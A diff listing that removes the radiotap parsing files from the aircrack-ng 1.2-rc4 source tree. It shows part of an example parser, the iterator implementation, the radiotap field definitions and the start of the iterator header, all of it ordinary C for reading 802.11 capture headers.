-	case IEEE80211_RADIOTAP_FHSS:
-	case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
-	case IEEE80211_RADIOTAP_DBM_ANTNOISE:
-	case IEEE80211_RADIOTAP_LOCK_QUALITY:
-	case IEEE80211_RADIOTAP_TX_ATTENUATION:
-	case IEEE80211_RADIOTAP_DB_TX_ATTENUATION:
-	case IEEE80211_RADIOTAP_DBM_TX_POWER:
-	case IEEE80211_RADIOTAP_ANTENNA:
-	case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
-	case IEEE80211_RADIOTAP_DB_ANTNOISE:
-	case IEEE80211_RADIOTAP_TX_FLAGS:
-		break;
-	case IEEE80211_RADIOTAP_RX_FLAGS:
-		if (fcshdr) {
-			printf("\tFCS in header: %.8x\n",
-				le32toh(*(uint32_t *)iter->this_arg));
-			break;
-		}
-		printf("\tRX flags: %#.4x\n",
-			le16toh(*(uint16_t *)iter->this_arg));
-		break;
-	case IEEE80211_RADIOTAP_RTS_RETRIES:
-	case IEEE80211_RADIOTAP_DATA_RETRIES:
-		break;
-		break;
-	default:
-		printf("\tBOGUS DATA\n");
-		break;
-	}
-}
-
-static void print_test_namespace(struct ieee80211_radiotap_iterator *iter)
-{
-	switch (iter->this_arg_index) {
-	case 0:
-	case 52:
-		printf("\t00:00:00-00|%d: %.2x/%.2x/%.2x/%.2x\n",
-			iter->this_arg_index,
-			*iter->this_arg, *(iter->this_arg + 1),
-			*(iter->this_arg + 2), *(iter->this_arg + 3));
-		break;
-	default:
-		printf("\tBOGUS DATA - vendor ns %d\n", iter->this_arg_index);
-		break;
-	}
-}
-
-static const struct radiotap_override overrides[] = {
-	{ .field = 14, .align = 4, .size = 4, }
-};
-
-int main(int argc, char *argv[])
-{
-	struct ieee80211_radiotap_iterator iter;
-	struct stat statbuf;
-	int fd, err, fnidx = 1, i;
-	void *data;
-
-	if (argc != 2 && argc != 3) {
-		fprintf(stderr, "usage: parse [--fcshdr] <file>\n");
-		fprintf(stderr, "	--fcshdr: read bit 14 as FCS\n");
-		return 2;
-	}
-
-	if (strcmp(argv[1], "--fcshdr") == 0) {
-		fcshdr = 1;
-		fnidx++;
-	}
-
-	fd = open(argv[fnidx], O_RDONLY);
-	if (fd < 0) {
-		fprintf(stderr, "cannot open file %s\n", argv[fnidx]);
-		return 2;
-	}
-
-	if (fstat(fd, &statbuf)) {
-		perror("fstat");
-		return 2;
-	}
-
-	data = mmap(NULL, statbuf.st_size, PROT_READ, MAP_SHARED, fd, 0);
-
-	err = ieee80211_radiotap_iterator_init(&iter, data, statbuf.st_size, &vns);
-	if (err) {
-		printf("malformed radiotap header (init returns %d)\n", err);
-		return 3;
-	}
-
-#ifdef RADIOTAP_SUPPORT_OVERRIDES
-	if (fcshdr) {
-		iter.overrides = overrides;
-		iter.n_overrides = sizeof(overrides)/sizeof(overrides[0]);
-	}
-#endif
-
-	while (!(err = ieee80211_radiotap_iterator_next(&iter))) {
-		if (iter.this_arg_index == IEEE80211_RADIOTAP_VENDOR_NAMESPACE) {
-			printf("\tvendor NS (%.2x-%.2x-%.2x:%d, %d bytes)\n",
-				iter.this_arg[0], iter.this_arg[1],
-				iter.this_arg[2], iter.this_arg[3],
-				iter.this_arg_size - 6);
-			for (i = 6; i < iter.this_arg_size; i++) {
-				if (i % 8 == 6)
-					printf("\t\t");
-				else
-					printf(" ");
-				printf("%.2x", iter.this_arg[i]);
-			}
-			printf("\n");
-		} else if (iter.is_radiotap_ns)
-			print_radiotap_namespace(&iter);
-		else if (iter.current_namespace == &vns_array[0])
-			print_test_namespace(&iter);
-	}
-
-	if (err != -ENOENT) {
-		printf("malformed radiotap data\n");
-		return 3;
-	}
-
-	return 0;
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/radiotap/radiotap.c Deleted

@@ -1,397 +0,0 @@
-/*
- * Radiotap parser
- *
- * Copyright 2007		Andy Green <andy@warmcat.com>
- * Copyright 2009		Johannes Berg <johannes@sipsolutions.net>
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License version 2 as
- * published by the Free Software Foundation.
- *
- * Alternatively, this software may be distributed under the terms of BSD
- * license.
- *
- * See COPYING for more details.
- */
-#include "radiotap_iter.h"
-#include "platform.h"
-#if defined(ANDROID) || defined(__ANDROID__) || (defined(__sun) && defined(__SVR4))
-	#include "../byteorder.h"
-#endif
-
-
-/* function prototypes and related defs are in radiotap_iter.h */
-
-static const struct radiotap_align_size rtap_namespace_sizes[] = {
-	[IEEE80211_RADIOTAP_TSFT] = { .align = 8, .size = 8, },
-	[IEEE80211_RADIOTAP_FLAGS] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_RATE] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_CHANNEL] = { .align = 2, .size = 4, },
-	[IEEE80211_RADIOTAP_FHSS] = { .align = 2, .size = 2, },
-	[IEEE80211_RADIOTAP_DBM_ANTSIGNAL] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_DBM_ANTNOISE] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_LOCK_QUALITY] = { .align = 2, .size = 2, },
-	[IEEE80211_RADIOTAP_TX_ATTENUATION] = { .align = 2, .size = 2, },
-	[IEEE80211_RADIOTAP_DB_TX_ATTENUATION] = { .align = 2, .size = 2, },
-	[IEEE80211_RADIOTAP_DBM_TX_POWER] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_ANTENNA] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_DB_ANTSIGNAL] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_DB_ANTNOISE] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_RX_FLAGS] = { .align = 2, .size = 2, },
-	[IEEE80211_RADIOTAP_TX_FLAGS] = { .align = 2, .size = 2, },
-	[IEEE80211_RADIOTAP_RTS_RETRIES] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_DATA_RETRIES] = { .align = 1, .size = 1, },
-	[IEEE80211_RADIOTAP_MCS] = { .align = 1, .size = 3, },
-	[IEEE80211_RADIOTAP_AMPDU_STATUS] = { .align = 4, .size = 8, },
-	/*
-	 * add more here as they are defined in radiotap.h
-	 */
-};
-
-static const struct ieee80211_radiotap_namespace radiotap_ns = {
-	.n_bits = sizeof(rtap_namespace_sizes) / sizeof(rtap_namespace_sizes[0]),
-	.align_size = rtap_namespace_sizes,
-};
-
-/**
- * ieee80211_radiotap_iterator_init - radiotap parser iterator initialization
- * @iterator: radiotap_iterator to initialize
- * @radiotap_header: radiotap header to parse
- * @max_length: total length we can parse into (eg, whole packet length)
- *
- * Returns: 0 or a negative error code if there is a problem.
- *
- * This function initializes an opaque iterator struct which can then
- * be passed to ieee80211_radiotap_iterator_next() to visit every radiotap
- * argument which is present in the header.  It knows about extended
- * present headers and handles them.
- *
- * How to use:
- * call __ieee80211_radiotap_iterator_init() to init a semi-opaque iterator
- * struct ieee80211_radiotap_iterator (no need to init the struct beforehand)
- * checking for a good 0 return code.  Then loop calling
- * __ieee80211_radiotap_iterator_next()... it returns either 0,
- * -ENOENT if there are no more args to parse, or -EINVAL if there is a problem.
- * The iterator's @this_arg member points to the start of the argument
- * associated with the current argument index that is present, which can be
- * found in the iterator's @this_arg_index member.  This arg index corresponds
- * to the IEEE80211_RADIOTAP_... defines.
- *
- * Radiotap header length:
- * You can find the CPU-endian total radiotap header length in
- * iterator->max_length after executing ieee80211_radiotap_iterator_init()
- * successfully.
- *
- * Alignment Gotcha:
- * You must take care when dereferencing iterator.this_arg
- * for multibyte types... the pointer is not aligned.  Use
- * get_unaligned((type *)iterator.this_arg) to dereference
- * iterator.this_arg for type "type" safely on all arches.
- *
- * Example code: parse.c
- */
-
-int ieee80211_radiotap_iterator_init(
-	struct ieee80211_radiotap_iterator *iterator,
-	struct ieee80211_radiotap_header *radiotap_header,
-	int max_length, const struct ieee80211_radiotap_vendor_namespaces *vns)
-{
-	/* must at least have the radiotap header */
-	if (max_length < (int)sizeof(struct ieee80211_radiotap_header))
-		return -EINVAL;
-
-	/* Linux only supports version 0 radiotap format */
-	if (radiotap_header->it_version)
-		return -EINVAL;
-
-	/* sanity check for allowed length and radiotap length field */
-	if (max_length < get_unaligned_le16(&radiotap_header->it_len))
-		return -EINVAL;
-
-	iterator->_rtheader = radiotap_header;
-	iterator->_max_length = get_unaligned_le16(&radiotap_header->it_len);
-	iterator->_arg_index = 0;
-	iterator->_bitmap_shifter = get_unaligned_le32(&radiotap_header->it_present);
-	iterator->_arg = (uint8_t *)radiotap_header + sizeof(*radiotap_header);
-	iterator->_reset_on_ext = 0;
-	iterator->_next_bitmap = &radiotap_header->it_present;
-	iterator->_next_bitmap++;
-	iterator->_vns = vns;
-	iterator->current_namespace = &radiotap_ns;
-	iterator->is_radiotap_ns = 1;
-#ifdef RADIOTAP_SUPPORT_OVERRIDES
-	iterator->n_overrides = 0;
-	iterator->overrides = NULL;
-#endif
-
-	/* find payload start allowing for extended bitmap(s) */
-
-	if (iterator->_bitmap_shifter & (1<<IEEE80211_RADIOTAP_EXT)) {
-		if ((unsigned long)iterator->_arg -
-		    (unsigned long)iterator->_rtheader + sizeof(uint32_t) >
-		    (unsigned long)iterator->_max_length)
-			return -EINVAL;
-		while (get_unaligned_le32(iterator->_arg) &
-					(1 << IEEE80211_RADIOTAP_EXT)) {
-			iterator->_arg += sizeof(uint32_t);
-
-			/*
-			 * check for insanity where the present bitmaps
-			 * keep claiming to extend up to or even beyond the
-			 * stated radiotap header length
-			 */
-
-			if ((unsigned long)iterator->_arg -
-			    (unsigned long)iterator->_rtheader +
-			    sizeof(uint32_t) >
-			    (unsigned long)iterator->_max_length)
-				return -EINVAL;
-		}
-
-		iterator->_arg += sizeof(uint32_t);
-
-		/*
-		 * no need to check again for blowing past stated radiotap
-		 * header length, because ieee80211_radiotap_iterator_next
-		 * checks it before it is dereferenced
-		 */
-	}
-
-	iterator->this_arg = iterator->_arg;
-
-	/* we are all initialized happily */
-
-	return 0;
-}
-
-static void find_ns(struct ieee80211_radiotap_iterator *iterator,
-		    uint32_t oui, uint8_t subns)
-{
-	int i;
-
-	iterator->current_namespace = NULL;
-
-	if (!iterator->_vns)
-		return;
-
-	for (i = 0; i < iterator->_vns->n_ns; i++) {
-		if (iterator->_vns->ns[i].oui != oui)
-			continue;
-		if (iterator->_vns->ns[i].subns != subns)
-			continue;
-
-		iterator->current_namespace = &iterator->_vns->ns[i];
-		break;
-	}
-}
-
-#ifdef RADIOTAP_SUPPORT_OVERRIDES
-static int find_override(struct ieee80211_radiotap_iterator *iterator,
-			 int *align, int *size)
-{
-	int i;
-
-	if (!iterator->overrides)
-		return 0;
-
-	for (i = 0; i < iterator->n_overrides; i++) {
-		if (iterator->_arg_index == iterator->overrides[i].field) {
-			*align = iterator->overrides[i].align;
-			*size = iterator->overrides[i].size;
-			if (!*align) /* erroneous override */
-				return 0;
-			return 1;
-		}
-	}
-
-	return 0;
-}
-#endif
-
-
-/**
- * ieee80211_radiotap_iterator_next - return next radiotap parser iterator arg
- * @iterator: radiotap_iterator to move to next arg (if any)
- *
- * Returns: 0 if there is an argument to handle,
- * -ENOENT if there are no more args or -EINVAL
- * if there is something else wrong.
- *
- * This function provides the next radiotap arg index (IEEE80211_RADIOTAP_*)
- * in @this_arg_index and sets @this_arg to point to the
- * payload for the field.  It takes care of alignment handling and extended
- * present fields.  @this_arg can be changed by the caller (eg,
- * incremented to move inside a compound argument like
- * IEEE80211_RADIOTAP_CHANNEL).  The args pointed to are in
- * little-endian format whatever the endianess of your CPU.
- *
- * Alignment Gotcha:
- * You must take care when dereferencing iterator.this_arg
- * for multibyte types... the pointer is not aligned.  Use
- * get_unaligned((type *)iterator.this_arg) to dereference
- * iterator.this_arg for type "type" safely on all arches.
- */
-
-int ieee80211_radiotap_iterator_next(
-	struct ieee80211_radiotap_iterator *iterator)
-{
-	while (1) {
-		int hit = 0;
-		int pad, align, size, subns;
-		uint32_t oui;
-
-		/* if no more EXT bits, that's it */
-		if ((iterator->_arg_index % 32) == IEEE80211_RADIOTAP_EXT &&
-		    !(iterator->_bitmap_shifter & 1))
-			return -ENOENT;
-
-		if (!(iterator->_bitmap_shifter & 1))
-			goto next_entry; /* arg not present */
-
-		/* get alignment/size of data */
-		switch (iterator->_arg_index % 32) {
-		case IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE:
-		case IEEE80211_RADIOTAP_EXT:
-			align = 1;
-			size = 0;
-			break;
-		case IEEE80211_RADIOTAP_VENDOR_NAMESPACE:
-			align = 2;
-			size = 6;
-			break;
-		default:
-#ifdef RADIOTAP_SUPPORT_OVERRIDES
-			if (find_override(iterator, &align, &size)) {
-				/* all set */
-			} else
-#endif
-			if (!iterator->current_namespace ||
-			    iterator->_arg_index >= iterator->current_namespace->n_bits) {
-				if (iterator->current_namespace == &radiotap_ns)
-					return -ENOENT;
-				align = 0;
-			} else {
-				align = iterator->current_namespace->align_size[iterator->_arg_index].align;
-				size = iterator->current_namespace->align_size[iterator->_arg_index].size;
-			}
-			if (!align) {
-				/* skip all subsequent data */
-				iterator->_arg = iterator->_next_ns_data;
-				/* give up on this namespace */
-				iterator->current_namespace = NULL;
-				goto next_entry;
-			}
-			break;
-		}
-
-		/*
-		 * arg is present, account for alignment padding
-		 *
-		 * Note that these alignments are relative to the start
-		 * of the radiotap header.  There is no guarantee
-		 * that the radiotap header itself is aligned on any
-		 * kind of boundary.
-		 *
-		 * The above is why get_unaligned() is used to dereference
-		 * multibyte elements from the radiotap area.
-		 */
-
-		pad = ((unsigned long)iterator->_arg -
-		       (unsigned long)iterator->_rtheader) & (align - 1);
-
-		if (pad)
-			iterator->_arg += align - pad;
-
-		if (iterator->_arg_index % 32 == IEEE80211_RADIOTAP_VENDOR_NAMESPACE) {
-			int vnslen;
-
-			if ((unsigned long)iterator->_arg + size -
-			    (unsigned long)iterator->_rtheader >
-			    (unsigned long)iterator->_max_length)
-				return -EINVAL;
-
-			oui = (*iterator->_arg << 16) |
-				(*(iterator->_arg + 1) << 8) |
-				*(iterator->_arg + 2);
-			subns = *(iterator->_arg + 3);
-
-			find_ns(iterator, oui, subns);
-
-			vnslen = get_unaligned_le16(iterator->_arg + 4);
-			iterator->_next_ns_data = iterator->_arg + size + vnslen;
-			if (!iterator->current_namespace)
-				size += vnslen;
-		}
-
-		/*
-		 * this is what we will return to user, but we need to
-		 * move on first so next call has something fresh to test
-		 */
-		iterator->this_arg_index = iterator->_arg_index;
-		iterator->this_arg = iterator->_arg;
-		iterator->this_arg_size = size;
-
-		/* internally move on the size of this arg */
-		iterator->_arg += size;
-
-		/*
-		 * check for insanity where we are given a bitmap that
-		 * claims to have more arg content than the length of the
-		 * radiotap section.  We will normally end up equalling this
-		 * max_length on the last arg, never exceeding it.
-		 */
-
-		if ((unsigned long)iterator->_arg -
-		    (unsigned long)iterator->_rtheader >
-		    (unsigned long)iterator->_max_length)
-			return -EINVAL;
-
-		/* these special ones are valid in each bitmap word */
-		switch (iterator->_arg_index % 32) {
-		case IEEE80211_RADIOTAP_VENDOR_NAMESPACE:
-			iterator->_reset_on_ext = 1;
-
-			iterator->is_radiotap_ns = 0;
-			/*
-			 * If parser didn't register this vendor
-			 * namespace with us, allow it to show it
-			 * as 'raw. Do do that, set argument index
-			 * to vendor namespace.
-			 */
-			iterator->this_arg_index =
-				IEEE80211_RADIOTAP_VENDOR_NAMESPACE;
-			if (!iterator->current_namespace)
-				hit = 1;
-			goto next_entry;
-		case IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE:
-			iterator->_reset_on_ext = 1;
-			iterator->current_namespace = &radiotap_ns;
-			iterator->is_radiotap_ns = 1;
-			goto next_entry;
-		case IEEE80211_RADIOTAP_EXT:
-			/*
-			 * bit 31 was set, there is more
-			 * -- move to next u32 bitmap
-			 */
-			iterator->_bitmap_shifter =
-				get_unaligned_le32(iterator->_next_bitmap);
-			iterator->_next_bitmap++;
-			if (iterator->_reset_on_ext)
-				iterator->_arg_index = 0;
-			else
-				iterator->_arg_index++;
-			iterator->_reset_on_ext = 0;
-			break;
-		default:
-			/* we've got a hit! */
-			hit = 1;
- next_entry:
-			iterator->_bitmap_shifter >>= 1;
-			iterator->_arg_index++;
-		}
-
-		/* if we found a valid arg earlier, return it now */
-		if (hit)
-			return 0;
-	}
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/radiotap/radiotap.h Deleted

@@ -1,290 +0,0 @@
-/*-
- * Copyright (c) 2003, 2004 David Young.  All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- * 3. The name of David Young may not be used to endorse or promote
- *    products derived from this software without specific prior
- *    written permission.
- *
- * THIS SOFTWARE IS PROVIDED BY DAVID YOUNG ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
- * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
- * PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL DAVID
- * YOUNG BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
- * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
- * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
- * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
- * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
- * OF SUCH DAMAGE.
- */
-
-/*
- * Modifications to fit into the linux IEEE 802.11 stack,
- * Mike Kershaw (dragorn@kismetwireless.net)
- */
-
-#ifndef IEEE80211RADIOTAP_H
-#define IEEE80211RADIOTAP_H
-
-#include <stdint.h>
-
-/* Base version of the radiotap packet header data */
-#define PKTHDR_RADIOTAP_VERSION		0
-
-/* A generic radio capture format is desirable. There is one for
- * Linux, but it is neither rigidly defined (there were not even
- * units given for some fields) nor easily extensible.
- *
- * I suggest the following extensible radio capture format. It is
- * based on a bitmap indicating which fields are present.
- *
- * I am trying to describe precisely what the application programmer
- * should expect in the following, and for that reason I tell the
- * units and origin of each measurement (where it applies), or else I
- * use sufficiently weaselly language ("is a monotonically nondecreasing
- * function of...") that I cannot set false expectations for lawyerly
- * readers.
- */
-
-/* The radio capture header precedes the 802.11 header.
- * All data in the header is little endian on all platforms.
- */
-struct ieee80211_radiotap_header {
-	uint8_t it_version;	/* Version 0. Only increases
-				 * for drastic changes,
-				 * introduction of compatible
-				 * new fields does not count.
-				 */
-	uint8_t it_pad;
-	uint16_t it_len;	/* length of the whole
-				 * header in bytes, including
-				 * it_version, it_pad,
-				 * it_len, and data fields.
-				 */
-	uint32_t it_present;	/* A bitmap telling which
-				 * fields are present. Set bit 31
-				 * (0x80000000) to extend the
-				 * bitmap by another 32 bits.
-				 * Additional extensions are made
-				 * by setting bit 31.
-				 */
-};
-
-/* Name                                 Data type    Units
- * ----                                 ---------    -----
- *
- * IEEE80211_RADIOTAP_TSFT              __le64       microseconds
- *
- *      Value in microseconds of the MAC's 64-bit 802.11 Time
- *      Synchronization Function timer when the first bit of the
- *      MPDU arrived at the MAC. For received frames, only.
- *
- * IEEE80211_RADIOTAP_CHANNEL           2 x uint16_t   MHz, bitmap
- *
- *      Tx/Rx frequency in MHz, followed by flags (see below).
- *
- * IEEE80211_RADIOTAP_FHSS              uint16_t       see below
- *
- *      For frequency-hopping radios, the hop set (first byte)
- *      and pattern (second byte).
- *
- * IEEE80211_RADIOTAP_RATE              u8           500kb/s
- *
- *      Tx/Rx data rate
- *
- * IEEE80211_RADIOTAP_DBM_ANTSIGNAL     s8           decibels from
- *                                                   one milliwatt (dBm)
- *
- *      RF signal power at the antenna, decibel difference from
- *      one milliwatt.
- *
- * IEEE80211_RADIOTAP_DBM_ANTNOISE      s8           decibels from
- *                                                   one milliwatt (dBm)
- *
- *      RF noise power at the antenna, decibel difference from one
- *      milliwatt.
- *
- * IEEE80211_RADIOTAP_DB_ANTSIGNAL      u8           decibel (dB)
- *
- *      RF signal power at the antenna, decibel difference from an
- *      arbitrary, fixed reference.
- *
- * IEEE80211_RADIOTAP_DB_ANTNOISE       u8           decibel (dB)
- *
- *      RF noise power at the antenna, decibel difference from an
- *      arbitrary, fixed reference point.
- *
- * IEEE80211_RADIOTAP_LOCK_QUALITY      uint16_t       unitless
- *
- *      Quality of Barker code lock. Unitless. Monotonically
- *      nondecreasing with "better" lock strength. Called "Signal
- *      Quality" in datasheets.  (Is there a standard way to measure
- *      this?)
- *
- * IEEE80211_RADIOTAP_TX_ATTENUATION    uint16_t       unitless
- *
- *      Transmit power expressed as unitless distance from max
- *      power set at factory calibration.  0 is max power.
- *      Monotonically nondecreasing with lower power levels.
- *
- * IEEE80211_RADIOTAP_DB_TX_ATTENUATION uint16_t       decibels (dB)
- *
- *      Transmit power expressed as decibel distance from max power
- *      set at factory calibration.  0 is max power.  Monotonically
- *      nondecreasing with lower power levels.
- *
- * IEEE80211_RADIOTAP_DBM_TX_POWER      s8           decibels from
- *                                                   one milliwatt (dBm)
- *
- *      Transmit power expressed as dBm (decibels from a 1 milliwatt
- *      reference). This is the absolute power level measured at
- *      the antenna port.
- *
- * IEEE80211_RADIOTAP_FLAGS             u8           bitmap
- *
- *      Properties of transmitted and received frames. See flags
- *      defined below.
- *
- * IEEE80211_RADIOTAP_ANTENNA           u8           antenna index
- *
- *      Unitless indication of the Rx/Tx antenna for this packet.
- *      The first antenna is antenna 0.
- *
- * IEEE80211_RADIOTAP_RX_FLAGS          uint16_t       bitmap
- *
- *     Properties of received frames. See flags defined below.
- *
- * IEEE80211_RADIOTAP_TX_FLAGS          uint16_t       bitmap
- *
- *     Properties of transmitted frames. See flags defined below.
- *
- * IEEE80211_RADIOTAP_RTS_RETRIES       u8           data
- *
- *     Number of rts retries a transmitted frame used.
- *
- * IEEE80211_RADIOTAP_DATA_RETRIES      u8           data
- *
- *     Number of unicast retries a transmitted frame used.
- *
- * IEEE80211_RADIOTAP_MCS	u8, u8, u8		unitless
- *
- *     Contains a bitmap of known fields/flags, the flags, and
- *     the MCS index.
- *
- * IEEE80211_RADIOTAP_AMPDU_STATUS	u32, u16, u8, u8	unitlesss
- *
- *	Contains the AMPDU information for the subframe.
- */
-enum ieee80211_radiotap_type {
-	IEEE80211_RADIOTAP_TSFT = 0,
-	IEEE80211_RADIOTAP_FLAGS = 1,
-	IEEE80211_RADIOTAP_RATE = 2,
-	IEEE80211_RADIOTAP_CHANNEL = 3,
-	IEEE80211_RADIOTAP_FHSS = 4,
-	IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5,
-	IEEE80211_RADIOTAP_DBM_ANTNOISE = 6,
-	IEEE80211_RADIOTAP_LOCK_QUALITY = 7,
-	IEEE80211_RADIOTAP_TX_ATTENUATION = 8,
-	IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9,
-	IEEE80211_RADIOTAP_DBM_TX_POWER = 10,
-	IEEE80211_RADIOTAP_ANTENNA = 11,
-	IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12,
-	IEEE80211_RADIOTAP_DB_ANTNOISE = 13,
-	IEEE80211_RADIOTAP_RX_FLAGS = 14,
-	IEEE80211_RADIOTAP_TX_FLAGS = 15,
-	IEEE80211_RADIOTAP_RTS_RETRIES = 16,
-	IEEE80211_RADIOTAP_DATA_RETRIES = 17,
-
-	IEEE80211_RADIOTAP_MCS = 19,
-	IEEE80211_RADIOTAP_AMPDU_STATUS = 20,
-
-	/* valid in every it_present bitmap, even vendor namespaces */
-	IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE = 29,
-	IEEE80211_RADIOTAP_VENDOR_NAMESPACE = 30,
-	IEEE80211_RADIOTAP_EXT = 31
-};
-
-/* Channel flags. */
-#define	IEEE80211_CHAN_TURBO	0x0010	/* Turbo channel */
-#define	IEEE80211_CHAN_CCK	0x0020	/* CCK channel */
-#define	IEEE80211_CHAN_OFDM	0x0040	/* OFDM channel */
-#define	IEEE80211_CHAN_2GHZ	0x0080	/* 2 GHz spectrum channel. */
-#define	IEEE80211_CHAN_5GHZ	0x0100	/* 5 GHz spectrum channel */
-#define	IEEE80211_CHAN_PASSIVE	0x0200	/* Only passive scan allowed */
-#define	IEEE80211_CHAN_DYN	0x0400	/* Dynamic CCK-OFDM channel */
-#define	IEEE80211_CHAN_GFSK	0x0800	/* GFSK channel (FHSS PHY) */
-
-/* For IEEE80211_RADIOTAP_FLAGS */
-#define	IEEE80211_RADIOTAP_F_CFP	0x01	/* sent/received
-						 * during CFP
-						 */
-#define	IEEE80211_RADIOTAP_F_SHORTPRE	0x02	/* sent/received
-						 * with short
-						 * preamble
-						 */
-#define	IEEE80211_RADIOTAP_F_WEP	0x04	/* sent/received
-						 * with WEP encryption
-						 */
-#define	IEEE80211_RADIOTAP_F_FRAG	0x08	/* sent/received
-						 * with fragmentation
-						 */
-#define	IEEE80211_RADIOTAP_F_FCS	0x10	/* frame includes FCS */
-#define	IEEE80211_RADIOTAP_F_DATAPAD	0x20	/* frame has padding between
-						 * 802.11 header and payload
-						 * (to 32-bit boundary)
-						 */
-#define IEEE80211_RADIOTAP_F_BADFCS	0x40	/* frame failed FCS check */
-
-/* For IEEE80211_RADIOTAP_RX_FLAGS */
-#define IEEE80211_RADIOTAP_F_RX_BADPLCP	0x0002 /* bad PLCP */
-
-/* For IEEE80211_RADIOTAP_TX_FLAGS */
-#define IEEE80211_RADIOTAP_F_TX_FAIL	0x0001	/* failed due to excessive
-						 * retries */
-#define IEEE80211_RADIOTAP_F_TX_CTS	0x0002	/* used cts 'protection' */
-#define IEEE80211_RADIOTAP_F_TX_RTS	0x0004	/* used rts/cts handshake */
-
-/* For IEEE80211_RADIOTAP_AMPDU_STATUS */
-#define IEEE80211_RADIOTAP_AMPDU_REPORT_ZEROLEN		0x0001
-#define IEEE80211_RADIOTAP_AMPDU_IS_ZEROLEN		0x0002
-#define IEEE80211_RADIOTAP_AMPDU_LAST_KNOWN		0x0004
-#define IEEE80211_RADIOTAP_AMPDU_IS_LAST		0x0008
-#define IEEE80211_RADIOTAP_AMPDU_DELIM_CRC_ERR		0x0010
-#define IEEE80211_RADIOTAP_AMPDU_DELIM_CRC_KNOWN	0x0020
-
-/* For IEEE80211_RADIOTAP_MCS */
-#define IEEE80211_RADIOTAP_MCS_HAVE_BW		0x01
-#define IEEE80211_RADIOTAP_MCS_HAVE_MCS		0x02
-#define IEEE80211_RADIOTAP_MCS_HAVE_GI		0x04
-#define IEEE80211_RADIOTAP_MCS_HAVE_FMT		0x08
-#define IEEE80211_RADIOTAP_MCS_HAVE_FEC		0x10
-#define IEEE80211_RADIOTAP_MCS_HAVE_STBC	0x20
-#define IEEE80211_RADIOTAP_MCS_HAVE_NESS	0x40
-#define IEEE80211_RADIOTAP_MCS_NESS_BIT1	0x80
-
-
-#define IEEE80211_RADIOTAP_MCS_BW_MASK		0x03
-#define		IEEE80211_RADIOTAP_MCS_BW_20	0
-#define		IEEE80211_RADIOTAP_MCS_BW_40	1
-#define		IEEE80211_RADIOTAP_MCS_BW_20L	2
-#define		IEEE80211_RADIOTAP_MCS_BW_20U	3
-#define IEEE80211_RADIOTAP_MCS_SGI		0x04
-#define IEEE80211_RADIOTAP_MCS_FMT_GF		0x08
-#define IEEE80211_RADIOTAP_MCS_FEC_LDPC		0x10
-#define IEEE80211_RADIOTAP_MCS_STBC_MASK	0x60
-#define IEEE80211_RADIOTAP_MCS_STBC_SHIFT	5
-#define		IEEE80211_RADIOTAP_MCS_STBC_1	1
-#define		IEEE80211_RADIOTAP_MCS_STBC_2	2
-#define		IEEE80211_RADIOTAP_MCS_STBC_3	3
-#define IEEE80211_RADIOTAP_MCS_NESS_BIT0	0x80
-
-#endif				/* IEEE80211_RADIOTAP_H */

aircrack-ng-1.2-rc4.tar.gz/src/osdep/radiotap/radiotap_iter.h Deleted

@@ -1,96 +0,0 @@
-#ifndef __RADIOTAP_ITER_H
-#define __RADIOTAP_ITER_H
-
-#include <stdint.h>
-#include "radiotap.h"
-
-/* Radiotap header iteration
- *   implemented in radiotap.c
- */
-
-struct radiotap_override {
-	uint8_t field;
-	uint8_t align:4, size:4;
-};
-
-struct radiotap_align_size {
-	uint8_t align:4, size:4;
-};
-
-struct ieee80211_radiotap_namespace {
-	const struct radiotap_align_size *align_size;
-	int n_bits;
-	uint32_t oui;
-	uint8_t subns;
-};
-
-struct ieee80211_radiotap_vendor_namespaces {
-	const struct ieee80211_radiotap_namespace *ns;
-	int n_ns;
-};
-
-/**
- * struct ieee80211_radiotap_iterator - tracks walk thru present radiotap args
- * @this_arg_index: index of current arg, valid after each successful call
- *	to ieee80211_radiotap_iterator_next()
- * @this_arg: pointer to current radiotap arg; it is valid after each
- *	call to ieee80211_radiotap_iterator_next() but also after
- *	ieee80211_radiotap_iterator_init() where it will point to
- *	the beginning of the actual data portion
- * @this_arg_size: length of the current arg, for convenience
- * @current_namespace: pointer to the current namespace definition
- *	(or internally %NULL if the current namespace is unknown)
- * @is_radiotap_ns: indicates whether the current namespace is the default
- *	radiotap namespace or not
- *
- * @overrides: override standard radiotap fields
- * @n_overrides: number of overrides
- *
